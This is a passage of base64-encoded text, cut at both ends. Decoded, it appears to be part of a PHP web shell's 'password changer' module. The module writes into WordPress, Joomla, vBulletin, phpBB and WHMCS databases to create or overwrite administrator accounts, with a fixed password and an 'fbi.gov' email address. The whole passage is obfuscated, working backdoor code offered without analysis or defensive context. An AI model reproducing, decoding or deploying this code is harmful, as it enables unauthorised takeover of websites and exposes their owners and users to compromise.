nJvcigkY29ubikpOwokc29sZSA9IEBteXNxbGlfbnVtX3Jvd3MoJHNvbGV2aXNpYmxlKTsKaWYgKCRzb2xlID09IDEpewokc29sZXZpcyA9IEBteXNxbGlfZmV0Y2hfYXNzb2MoJHNvbGV2aXNpYmxlKTsKJHJlcyA9ICRzb2xldmlzWydJRCddOwp9CiRzb2xldmlzaWJsZT1AbXlzcWxpX3F1ZXJ5KCRjb25uLCJpbnNlcnQgaW50byAiLiRwcmVmaXguInVzZXJtZXRhICh1bWV0YV9pZCx1c2VyX2lkLG1ldGFfa2V5LG1ldGFfdmFsdWUpIHZhbHVlcyhudWxsLCciLiRyZXMuIicsJ2ZpcnN0X25hbWUnLCdzb2xldmlzaWJsZScpLChudWxsLCciLiRyZXMuIicsJ2xhc3RfbmFtZScsJ3NvbGV2aXNpYmxlJyksKG51bGwsJyIuJHJlcy4iJywnbmlja25hbWUnLCdzb2xldmlzaWJsZScpLChudWxsLCciLiRyZXMuIicsJ2Rlc2NyaXB0aW9uJywnc29sZXZpc2libGUnKSwobnVsbCwnIi4kcmVzLiInLCdyaWNoX2VkaXRpbmcnLCd0cnVlJyksKG51bGwsJyIuJHJlcy4iJywnY29tbWVudF9zaG9ydGN1dHMnLCdmYWxzZScpLChudWxsLCciLiRyZXMuIicsJ2FkbWluX2NvbG9yJywnZnJlc2gnKSwobnVsbCwnIi4kcmVzLiInLCd1c2Vfc3NsJywnMCcpLChudWxsLCciLiRyZXMuIicsJ3Nob3dfYWRtaW5fYmFyX2Zyb250JywndHJ1ZScpLChudWxsLCciLiRyZXMuIicsJyIuJHByZWZpeC4iY2FwYWJpbGl0aWVzJywnYToxOntzOjEzOlwiYWRtaW5pc3RyYXRvclwiO2I6MTt9JyksKG51bGwsJyIuJHJlcy4iJywnIi4kcHJlZml4LiJ1c2VyX2xldmVsJywnMTAnKSwobnVsbCwnIi4kcmVzLiInLCdzaG93X3dlbGNvbWVfcGFuZWwnLCcxJyksKG51bGwsJyIuJHJlcy4iJywnIi4kcHJlZml4LiJkYXNoYm9hcmRfcXVpY2tfcHJlc3NfbGFzdF9wb3N0X2lkJywnMycpIikgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOwppZigkc29sZXZpc2libGUpewpfX2FsZXJ0KCdTdWNjZXNzLi4uICcuJGFkbWluLicgaXMgY3JlYXRlZC4uLicpO30KfQp9CmlmKCRfUE9TVFsnYWxmYTInXSAmJiAkX1BPU1RbJ2FsZmEyJ10gPT0gJ2pvb21sYScpewoKZWNobyBfX3ByZSgpLic8Y2VudGVyPjxjZW50ZXI+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgSm9vbWxhIHw8L2Rpdj48cD48cD4nLmdldENvbmZpZ0h0bWwoJ2pvb21sYScpLic8L3A+PGZvcm0gb25TdWJtaXQ9ImcoXCdwd2NoYW5nZXJcJyxudWxsLFwnPj5cJyxcJ2pvb21sYVwnLHRoaXMubG9jYWxob3N0LnZhbHVlLHRoaXMuZGF0YWJhc2UudmFsdWUsdGhpcy51c2VybmFtZS52YWx1ZSx0aGlzLnBhc3N3b3JkLnZhbHVlLG51bGwsdGhpcy5hZG1pbi52YWx1ZSx0aGlzLmVtYWlsLnZhbHVlLHRoaXMucHJlZml4LnZhbHVlKTtyZXR1cm4gZmFsc2U7IiBtZXRob2Q9IlBPU1QiPic7CiR0YWJsZSA9IGFycmF5KCd0ZDEnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnTXlzcWwgSG9zdCcsICdpZCc9PidkYl9ob3N0JywnaW5wdXROYW1lJyA9PiAnbG9jYWxob3N0JywgJ2lucHV0VmFsdWUnID0+ICdsb2NhbGhvc3QnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDInID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgTmFtZScsICdpZCc9PidkYl9uYW1lJywnaW5wdXROYW1lJyA9PiAnZGF0YWJhc2UnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkMycgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBVc2VyJywgJ2lkJz0+J2RiX3VzZXInLCdpbnB1dE5hbWUnID0+ICd1c2VybmFtZScsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ0JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIFBhc3MnLCAnaWQnPT4nZGJfcHcnLCdpbnB1dE5hbWUnID0+ICdwYXNzd29yZCcsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ1JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ1RhYmxlIFByZWZpeCcsICdpZCc9PidkYl9wcmVmaXgnLCdpbnB1dE5hbWUnID0+ICdwcmVmaXgnLCAnaW5wdXRWYWx1ZScgPT4gJ2pvc18nLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDYnID0+CiBhcnJheSgnY29sb3InID0+ICdGRjAwMDAnLCAndGROYW1lJyA9PiAnQWRtaW4gVXNlcicsICdpbnB1dE5hbWUnID0+ICdhZG1pbicsICdpbnB1dFZhbHVlJyA9PiAnYWRtaW4nLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDcnID0+CiBhcnJheSgnY29sb3InID0+ICdGRjAwMDAnLCAndGROYW1lJyA9PiAnQWRtaW4gUGFzcycsICdpbnB1dE5hbWUnID0+ICd0b2Z0b2YnLCAnaW5wdXRWYWx1ZScgPT4gJ3NvbGV2aXNpYmxlJywgJ2lucHV0U2l6ZScgPT4gJzUwJywgJ2Rpc2FibGVkJyA9PiB0cnVlKSwKICd0ZDgnID0+CiBhcnJheSgnY29sb3InID0+ICdGRjAwMDAnLCAndGROYW1lJyA9PiAnQWRtaW4gRW1haWwnLCAnaW5wdXROYW1lJyA9PiAnZW1haWwnLCAnaW5wdXRWYWx1ZScgPT4gJ3NvbGV2aXNpYmxlQGZiaS5nb3YnLCAnaW5wdXRTaXplJyA9PiAnNTAnKQopOwpjcmVhdGVfdGFibGUoJHRhYmxlKTsKZWNobyAnPHA+PGlucHV0IHZhbHVlPSIgIiBuYW1lPSJzZW5kIiB0eXBlPSJzdWJtaXQiPjwvcD48L2Zvcm0+PC9jZW50ZXI+JzsKaWYgKCRfUE9TVFsnYWxmYTEnXSAmJiAkX1BPU1RbJ2FsZmExJ10gPT0gJz4+Jyl7CiRsb2NhbGhvc3QgPSAkX1BPU1RbJ2FsZmEzJ107CiRkYXRhYmFzZSA9ICRfUE9TVFsnYWxmYTQnXTsKJHVzZXJuYW1lID0gJF9QT1NUWydhbGZhNSddOwokcGFzc3dvcmQgPSAkX1BPU1RbJ2FsZmE2J107CiRhZG1pbiA9ICRfUE9TVFsnYWxmYTgnXTsKJFNRTCA9ICRfUE9TVFsnYWxmYTknXTsKJHByZWZpeCA9ICRfUE9TVFsnYWxmYTEwJ107CiRjb25uPUBteXNxbGlfY29ubmVjdCgkbG9jYWxob3N0LCR1c2VybmFtZSwkcGFzc3dvcmQsJGRhdGFiYXNlKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7CiRzb2xldmlzaWJsZT1AbXlzcWxpX3F1ZXJ5KCRjb25uLCJpbnNlcnQgaW50byAiLiRwcmVmaXguInVzZXJzIChpZCxuYW1lLHVzZXJuYW1lLGVtYWlsLHBhc3N3b3JkKSB2YWx1ZXMobnVsbCwnU3VwZXIgVXNlcicsJyIuJGFkbWluLiInLCciLiRTUUwuIicsJ2Q0YTU5MGNhYWNjMGJlNTVlZjI4NmU0MGE5NDVlYTQ1JykiKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7CiRzb2xldmlzaWJsZT1AbXlzcWxpX3F1ZXJ5KCRjb25uLCJzZWxlY3QgaWQgZnJvbSAiLiRwcmVmaXguInVzZXJzIHdoZXJlIHVzZXJuYW1lPSciLiRhZG1pbi4iJyIpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsKJHNvbGUgPUBteXNxbGlfbnVtX3Jvd3MoJHNvbGV2aXNpYmxlKTsKaWYgKCRzb2xlID09IDEpewokc29sZXZpcyA9QG15c3FsaV9mZXRjaF9hc3NvYygkc29sZXZpc2libGUpOwokcmVzID0gJHNvbGV2aXNbJ2lkJ107Cn0KJHNvbGV2aXNpYmxlPUBteXNxbGlfcXVlcnkoJGNvbm4sIklOU0VSVCBJTlRPICIuJHByZWZpeC4idXNlcl91c2VyZ3JvdXBfbWFwICh1c2VyX2lkLGdyb3VwX2lkKSBWQUxVRVMgKCciLiRyZXMuIicsICc4JykiKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7CmlmKCRzb2xldmlzaWJsZSl7Cl9fYWxlcnQoJ1N1Y2Nlc3MuLi4gJy4kYWRtaW4uJyBpcyBjcmVhdGVkLi4uJyk7fQp9Cn0KaWYoJF9QT1NUWydhbGZhNCddICYmICRfUE9TVFsnYWxmYTQnXSA9PSAndmInKXsKCmVjaG8gX19wcmUoKS4nPGNlbnRlcj48Y2VudGVyPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IHZCdWxsZXRpbiB8PGRpdj48cD4nLmdldENvbmZpZ0h0bWwoJ3ZiJykuJzwvcD48Zm9ybSBvblN1Ym1pdD0iZyhcJ3B3Y2hhbmdlclwnLG51bGwsXCc+PlwnLHRoaXMubG9jYWxob3N0LnZhbHVlLHRoaXMuZGF0YWJhc2UudmFsdWUsXCd2YlwnLHRoaXMudXNlcm5hbWUudmFsdWUsdGhpcy5wYXNzd29yZC52YWx1ZSx0aGlzLnByZWZpeC52YWx1ZSx0aGlzLmFkbWluLnZhbHVlLHRoaXMuZW1haWwudmFsdWUpOyByZXR1cm4gZmFsc2U7IiBtZXRob2Q9IlBPU1QiPic7CiR0YWJsZSA9IGFycmF5KCd0ZDEnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnTXlzcWwgSG9zdCcsICdpZCc9PidkYl9ob3N0JywnaW5wdXROYW1lJyA9PiAnbG9jYWxob3N0JywgJ2lucHV0VmFsdWUnID0+ICdsb2NhbGhvc3QnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDInID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgTmFtZScsICdpZCc9PidkYl9uYW1lJywnaW5wdXROYW1lJyA9PiAnZGF0YWJhc2UnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkMycgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBVc2VyJywgJ2lkJz0+J2RiX3VzZXInLCdpbnB1dE5hbWUnID0+ICd1c2VybmFtZScsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ0JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIFBhc3MnLCAnaWQnPT4nZGJfcHcnLCdpbnB1dE5hbWUnID0+ICdwYXNzd29yZCcsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ1JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ1RhYmxlIFByZWZpeCcsICdpZCc9PidkYl9wcmVmaXgnLCdpbnB1dE5hbWUnID0+ICdwcmVmaXgnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNicgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBVc2VyJywgJ2lucHV0TmFtZScgPT4gJ2FkbWluJywgJ2lucHV0VmFsdWUnID0+ICdhZG1pbicsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNycgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBQYXNzJywgJ2lucHV0TmFtZScgPT4gJ2hpJywgJ2lucHV0VmFsdWUnID0+ICdzb2xldmlzaWJsZScsICdpbnB1dFNpemUnID0+ICc1MCcsICdkaXNhYmxlZCcgPT4gdHJ1ZSksCiAndGQ4JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkYwMDAwJywgJ3RkTmFtZScgPT4gJ0FkbWluIEVtYWlsJywgJ2lucHV0TmFtZScgPT4gJ2VtYWlsJywgJ2lucHV0VmFsdWUnID0+ICdzb2xldmlzaWJsZUBmYmkuZ292JywgJ2lucHV0U2l6ZScgPT4gJzUwJykKKTsKY3JlYXRlX3RhYmxlKCR0YWJsZSk7CmVjaG8gJzxwPjxpbnB1dCB2YWx1ZT0iICIgbmFtZT0ic2VuZCIgdHlwZT0ic3VibWl0Ij48L3A+PC9mb3JtPjwvY2VudGVyPic7CmlmKCRfUE9TVFsnYWxmYTEnXSAmJiAkX1BPU1RbJ2FsZmExJ10gPT0gJz4+Jyl7CiRsb2NhbGhvc3QgPSAkX1BPU1RbJ2FsZmEyJ107CiRkYXRhYmFzZSA9ICRfUE9TVFsnYWxmYTMnXTsKJHVzZXJuYW1lID0gJF9QT1NUWydhbGZhNSddOwokcGFzc3dvcmQgPSAkX1BPU1RbJ2FsZmE2J107CiRwcmVmaXggPSAkX1BPU1RbJ2FsZmE3J107CiRhZG1pbiA9ICRfUE9TVFsnYWxmYTgnXTsKJFNRTCA9ICRfUE9TVFsnYWxmYTknXTsKJGNvbm49QG15c3FsaV9jb25uZWN0KCRsb2NhbGhvc3QsJHVzZXJuYW1lLCRwYXNzd29yZCwkZGF0YWJhc2UpIG9yIGRpZShteXNxbGlfY29ubmVjdF9lcnJvcigpKTsKJHB3X2NvbCA9IEBteXNxbGlfY29ubmVjdCgiU0VMRUNUIGNvbHVtbl9uYW1lIEZST00gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfbmFtZSA9ICd7JHByZWZpeH11c2VyJyBhbmQgY29sdW1uX25hbWUgPSAncGFzc3dvcmQnIGFuZCB0YWJsZV9zY2hlbWEgPSAneyRkYXRhYmFzZX0nIik7CiRwd19jb2wgPSBAbXlzcWxpX251bV9yb3dzKCRwd19jb2wpOwokYWRtX3Blcm0gPSAiMTY3NDQ0NDQiOwppZigkcHdfY29sID4gMCl7CiRzb2xldmlzaWJsZT1AbXlzcWxpX3F1ZXJ5KCRjb25uLCJpbnNlcnQgaW50byB7JHByZWZpeH11c2VyICh1c2VyaWQsdXNlcmdyb3VwaWQsdXNlcm5hbWUscGFzc3dvcmQsc2FsdCxlbWFpbCxwYXNzd29yZGRhdGUsam9pbmRhdGUpIHZhbHVlcyhudWxsLCc2JywnJGFkbWluJywnNTJlMjhiNzhmNTU2NDFjZDQ2MThhZDFhMjBmNWZkNWMnLCdYd3xJYkdMaFRRQS1Bd0FwVnY+NjF5Xih6XSo8UU4nLCckU1FMJywnIi5kYXRlKCdZLW0tZCcpLiInLCciLnRpbWUoKS4iJykiKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7Cn1lbHNlewokYWRtX3Blcm0gPSAiMjE0MzI1NjQ0NCI7CiRzb2xldmlzaWJsZT1AbXlzcWxpX3F1ZXJ5KCRjb25uLCJpbnNlcnQgaW50byB7JHByZWZpeH11c2VyICh1c2VyaWQsdXNlcmdyb3VwaWQsdXNlcm5hbWUsdG9rZW4sc2VjcmV0LGVtYWlsLHBhc3N3b3JkZGF0ZSxqb2luZGF0ZSxzY2hlbWUsYmlydGhkYXlfc2VhcmNoKSB2YWx1ZXMobnVsbCwnNicsJyRhZG1pbicsJ1wkMnlcJDEwXCRZc1ZoVi45dExuekJZeGFyMUJKQUdPM3ZGejY4L3FEVTdKdDYyU0RkTHk2bFVUOU41Wi93cScsJ1FmfkFEZUF9aUFleS0mI0FMUUY8fS91QkRxU253PicsJyRTUUwnLCciLmRhdGUoJ1ktbS1kJykuIicsJyIudGltZSgpLiInLCdibG93ZmlzaDoxMCcsJzE5ODQtMDUtMjAnKSIpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsKfQokc29sZXZpc2libGU9QG15c3FsaV9xdWVyeSgkY29ubiwic2VsZWN0IHVzZXJpZCBmcm9tIHskcHJlZml4fXVzZXIgd2hlcmUgdXNlcm5hbWU9JyIuJGFkbWluLiInIikgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOwokc29sZSA9IG15c3FsaV9udW1fcm93cygkc29sZXZpc2libGUpOwppZigkc29sZSA9PSAxKXsKJHNvbGV2aXMgPSBteXNxbGlfZmV0Y2hfYXNzb2MoJHNvbGV2aXNpYmxlKTsKJHJlcyA9ICRzb2xldmlzWyd1c2VyaWQnXTsKfQokc29sZXZpc2libGU9QG15c3FsaV9xdWVyeSgkY29ubiwiaW5zZXJ0IGludG8geyRwcmVmaXh9YWRtaW5pc3RyYXRvciAodXNlcmlkLGFkbWlucGVybWlzc2lvbnMpIHZhbHVlcygnIi4kcmVzLiInLCciLiRhZG1fcGVybS4iJykiKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7CmlmKCRzb2xldmlzaWJsZSl7Cl9fYWxlcnQoJ1N1Y2Nlc3MuLi4gJy4kYWRtaW4uJyBpcyBjcmVhdGVkLi4uJyk7fQp9Cn0KaWYoaXNzZXQoJF9QT1NUWydhbGZhNSddKSAmJiAkX1BPU1RbJ2FsZmE1J10gPT0gJ3BocGJiJyl7CgplY2hvIF9fcHJlKCkuJzxjZW50ZXI+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgcGhwQkIgfDwvZGl2PjxwPjxwPicuZ2V0Q29uZmlnSHRtbCgncGhwYmInKS4nPC9wPjxmb3JtIG9uU3VibWl0PSJnKFwncHdjaGFuZ2VyXCcsbnVsbCxcJz4+XCcsdGhpcy5sb2NhbGhvc3QudmFsdWUsdGhpcy5kYXRhYmFzZS52YWx1ZSx0aGlzLnVzZXJuYW1lLnZhbHVlLFwncGhwYmJcJyx0aGlzLnBhc3N3b3JkLnZhbHVlLG51bGwsdGhpcy5hZG1pbi52YWx1ZSx0aGlzLmVtYWlsLnZhbHVlLHRoaXMucHJlZml4LnZhbHVlKTsgcmV0dXJuIGZhbHNlOyIgbWV0aG9kPSJQT1NUIj4nOwokdGFibGUgPSBhcnJheSgndGQxJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ015c3FsIEhvc3QnLCAnaWQnPT4nZGJfaG9zdCcsJ2lucHV0TmFtZScgPT4gJ2xvY2FsaG9zdCcsICdpbnB1dFZhbHVlJyA9PiAnbG9jYWxob3N0JywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQyJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIE5hbWUnLCAnaWQnPT4nZGJfbmFtZScsJ2lucHV0TmFtZScgPT4gJ2RhdGFiYXNlJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDMnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgVXNlcicsICdpZCc9PidkYl91c2VyJywnaW5wdXROYW1lJyA9PiAndXNlcm5hbWUnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNCcgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBQYXNzJywgJ2lkJz0+J2RiX3B3JywnaW5wdXROYW1lJyA9PiAncGFzc3dvcmQnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNScgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdUYWJsZSBQcmVmaXgnLCAnaWQnPT4nZGJfcHJlZml4JywnaW5wdXROYW1lJyA9PiAncHJlZml4JywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDYnID0+CiBhcnJheSgnY29sb3InID0+ICdGRjAwMDAnLCAndGROYW1lJyA9PiAnQWRtaW4gVXNlcicsICdpbnB1dE5hbWUnID0+ICdhZG1pbicsICdpbnB1dFZhbHVlJyA9PiAnYWRtaW4nLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDcnID0+CiBhcnJheSgnY29sb3InID0+ICdGRjAwMDAnLCAndGROYW1lJyA9PiAnQWRtaW4gUGFzcycsICdpbnB1dE5hbWUnID0+ICd0b2Z0b2YnLCAnaW5wdXRWYWx1ZScgPT4gJ3NvbGV2aXNpYmxlJywgJ2lucHV0U2l6ZScgPT4gJzUwJywgJ2Rpc2FibGVkJyA9PiB0cnVlKSwKICd0ZDgnID0+CiBhcnJheSgnY29sb3InID0+ICdGRjAwMDAnLCAndGROYW1lJyA9PiAnQWRtaW4gRW1haWwnLCAnaW5wdXROYW1lJyA9PiAnZW1haWwnLCAnaW5wdXRWYWx1ZScgPT4gJ3NvbGV2aXNpYmxlQGZiaS5nb3YnLCAnaW5wdXRTaXplJyA9PiAnNTAnKQopOwpjcmVhdGVfdGFibGUoJHRhYmxlKTsKZWNobyAnPHA+PGlucHV0IHZhbHVlPSIgIiBuYW1lPSJzZW5kIiB0eXBlPSJzdWJtaXQiPjwvcD48L2Zvcm0+PC9jZW50ZXI+JzsKaWYgKCRfUE9TVFsnYWxmYTEnXSAmJiAkX1BPU1RbJ2FsZmExJ10gPT0gJz4+Jyl7CiRsb2NhbGhvc3QgPSAkX1BPU1RbJ2FsZmEyJ107CiRkYXRhYmFzZSA9ICRfUE9TVFsnYWxmYTMnXTsKJHVzZXJuYW1lID0gJF9QT1NUWydhbGZhNCddOwokcGFzc3dvcmQgPSAkX1BPU1RbJ2FsZmE2J107CiRhZG1pbiA9ICRfUE9TVFsnYWxmYTgnXTsKJFNRTCA9ICRfUE9TVFsnYWxmYTknXTsKJHByZWZpeCA9ICRfUE9TVFsnYWxmYTEwJ107CiRjb25uPUBteXNxbGlfY29ubmVjdCgkbG9jYWxob3N0LCR1c2VybmFtZSwkcGFzc3dvcmQsJGRhdGFiYXNlKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7CiRoYXNoID0gbWQ1KCdzb2xldmlzaWJsZScpOwokc29sZXZpc2libGU9QG15c3FsaV9xdWVyeSgkY29ubiwiVVBEQVRFICIuJHByZWZpeC4idXNlcnMgU0VUIHVzZXJuYW1lX2NsZWFuID0nIi4kYWRtaW4uIicgV0hFUkUgdXNlcm5hbWVfY2xlYW4gPSAnYWRtaW4nIikgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOwokc29sZXZpc2libGU9QG15c3FsaV9xdWVyeSgkY29ubiwiVVBEQVRFICIuJHByZWZpeC4idXNlcnMgU0VUIHVzZXJfcGFzc3dvcmQgPSciLiRoYXNoLiInIFdIRVJFIHVzZXJuYW1lX2NsZWFuID0gJ2FkbWluJyIpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsKJHNvbGV2aXNpYmxlPUBteXNxbGlfcXVlcnkoJGNvbm4sIlVQREFURSAiLiRwcmVmaXguInVzZXJzIFNFVCB1c2VybmFtZV9jbGVhbiA9JyIuJGFkbWluLiInIFdIRVJFIHVzZXJfdHlwZSA9IDMiKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7CiRzb2xldmlzaWJsZT1AbXlzcWxpX3F1ZXJ5KCRjb25uLCJVUERBVEUgIi4kcHJlZml4LiJ1c2VycyBTRVQgdXNlcl9wYXNzd29yZCA9JyIuJGhhc2guIicgV0hFUkUgdXNlcl90eXBlID0gMyIpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsKJHNvbGV2aXNpYmxlPUBteXNxbGlfcXVlcnkoJGNvbm4sIlVQREFURSAiLiRwcmVmaXguInVzZXJzIFNFVCB1c2VyX2VtYWlsID0nIi4kU1FMLiInIFdIRVJFIHVzZXJuYW1lX2NsZWFuID0gJ2FkbWluJyIpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsKaWYoJHNvbGV2aXNpYmxlKXsKX19hbGVydCgnU3VjY2Vzcy4uLiAnLiRhZG1pbi4nIGlzIGNyZWF0ZWQuLi4nKTsKfQp9Cn0KaWYoaXNzZXQoJF9QT1NUWydhbGZhNiddKSAmJiAkX1BPU1RbJ2FsZmE2J10gPT0gJ3dobWNzJyl7CgplY2hvIF9fcHJlKCkuJzxjZW50ZXI+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgV2htY3MgfDwvZGl2PjxwPjxwPicuZ2V0Q29uZmlnSHRtbCgnd2htY3MnKS4nPC9wPjxmb3JtIG9uU3VibWl0PSJnKFwncHdjaGFuZ2VyXCcsbnVsbCxcJz4+XCcsdGhpcy5sb2NhbGhvc3QudmFsdWUsdGhpcy5kYXRhYmFzZS52YWx1ZSx0aGlzLnVzZXJuYW1lLnZhbHVlLHRoaXMucGFzc3dvcmQudmFsdWUsXCd3aG1jc1wnLG51bGwsdGhpcy5hZG1pbi52YWx1ZSx0aGlzLmVtYWlsLnZhbHVlKTsgcmV0dXJuIGZhbHNlOyIgbWV0aG9kPSJQT1NUIj4nOwokdGFibGUgPSBhcnJheSgndGQxJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ015c3FsIEhvc3QnLCAnaWQnPT4nZGJfaG9zdCcsJ2lucHV0TmFtZScgPT4gJ2xvY2FsaG9zdCcsICdpbnB1dFZhbHVlJyA9PiAnbG9jYWxob3N0JywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQyJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIE5hbWUnLCAnaWQnPT4nZGJfbmFtZScsJ2lucHV0TmFtZScgPT4gJ2RhdGFiYXNlJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDMnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgVXNlcicsICdpZCc9PidkYl91c2VyJywnaW5wdXROYW1lJyA9PiAndXNlcm5hbWUnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNCcgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBQYXNzJywgJ2lkJz0+J2RiX3B3JywnaW5wdXROYW1lJyA9PiAncGFzc3dvcmQnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNicgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBVc2VyJywgJ2lucHV0TmFtZScgPT4gJ2FkbWluJywgJ2lucHV0VmFsdWUnID0+ICdhZG1pbicsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNycgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBQYXNzJywgJ2lucHV0TmFtZScgPT4gJ3RvZnRvZicsICdpbnB1dFZhbHVlJyA9PiAnc29sZXZpc2libGUnLCAnaW5wdXRTaXplJyA9PiAnNTAnLCAnZGlzYWJsZWQnID0+IHRydWUpLAogJ3RkOCcgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsJ3RkTmFtZScgPT4gJ0FkbWluIEVtYWlsJywgJ2lucHV0TmFtZScgPT4gJ2VtYWlsJywgJ2lucHV0VmFsdWUnID0+ICdzb2xldmlzaWJsZUBmYmkuZ292JywgJ2lucHV0U2l6ZScgPT4gJzUwJykKKTsKY3JlYXRlX3RhYmxlKCR0YWJsZSk7CmVjaG8gJzxwPjxpbnB1dCB2YWx1ZT0iICIgbmFtZT0ic2VuZCIgdHlwZT0ic3VibWl0Ij48L3A+PC9mb3JtPjwvY2VudGVyPic7CmlmICgkX1BPU1RbJ2FsZmExJ10gJiYgJF9QT1NUWydhbGZhMSddID09ICc+PicpewokbG9jYWxob3N0ID0gJF9QT1NUWydhbGZhMiddOwokZGF0YWJhc2UgPSAkX1BPU1RbJ2FsZmEzJ107CiR1c2VybmFtZSA9ICRfUE9TVFsnYWxmYTQnXTsKJHBhc3N3b3JkID0gJF9QT1NUWydhbGZhNSddOwokYWRtaW4gPSAkX1BPU1RbJ2FsZmE4J107CiRTUUwgPSAkX1BPU1RbJ2FsZmE5J107CiRjb25uPUBteXNxbGlfY29ubmVjdCgkbG9jYWxob3N0LCR1c2VybmFtZSwkcGFzc3dvcmQsJGRhdGFiYXNlKS